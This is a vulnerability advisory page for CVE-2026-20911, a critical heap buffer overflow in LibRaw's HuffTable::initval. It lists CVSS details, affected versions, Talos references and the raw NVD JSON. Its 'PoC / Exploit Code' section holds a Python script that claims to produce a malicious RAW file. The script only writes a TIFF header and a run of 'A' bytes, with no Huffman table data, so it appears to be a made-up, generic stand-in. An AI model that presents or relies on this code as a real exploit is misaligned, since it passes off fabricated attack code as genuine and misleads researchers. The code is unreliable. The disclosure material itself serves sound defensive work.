Security Vulnerability Report
中文
CVE-2026-20911 CVSS 9.8 CRITICAL

CVE-2026-20911

Published: 2026-04-07 15:17:35
Last Modified: 2026-04-10 20:50:35

Description

A heap-based buffer overflow vulnerability exists in the HuffTable::initval functionality of LibRaw Commit 0b56545 and Commit d20315b. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libraw:libraw:0.22.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:libraw:libraw:0.22.1:*:*:*:*:*:*:* - VULNERABLE
LibRaw Commit 0b56545
LibRaw Commit d20315b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-20911: LibRaw HuffTable::initval Heap Overflow # This script generates a malicious file to trigger the vulnerability. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Simulate file header structure vulnerable in LibRaw header = b'\x49\x49\x2a\x00' # TIFF header (common in RAW) f.write(header) # Malicious HuffTable data to trigger initval overflow # Sending excessive data to overflow the heap buffer payload = b'\x00' * 0x10 + b'A' * 0x1000 f.write(payload) print(f"[+] Malicious file generated: {filename}") print("[+] Usage: Open this file with vulnerable LibRaw version.") if __name__ == "__main__": generate_malicious_file("cve_2026_20911_poc.raw")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20911", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:35.467", "lastModified": "2026-04-10T20:50:34.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability exists in the HuffTable::initval functionality of LibRaw Commit 0b56545 and Commit d20315b. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-131"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libraw:libraw:0.22.0:*:*:*:*:*:*:*", "matchCriteriaId": "9ACBEE8D-088E-4185-BD49-B862B996D3C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:libraw:libraw:0.22.1:*:*:*:*:*:*:*", "matchCriteriaId": "BDC62434-024F-485D-A1B0-8608B70A2CF1"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2026-2330", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2026-2330", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}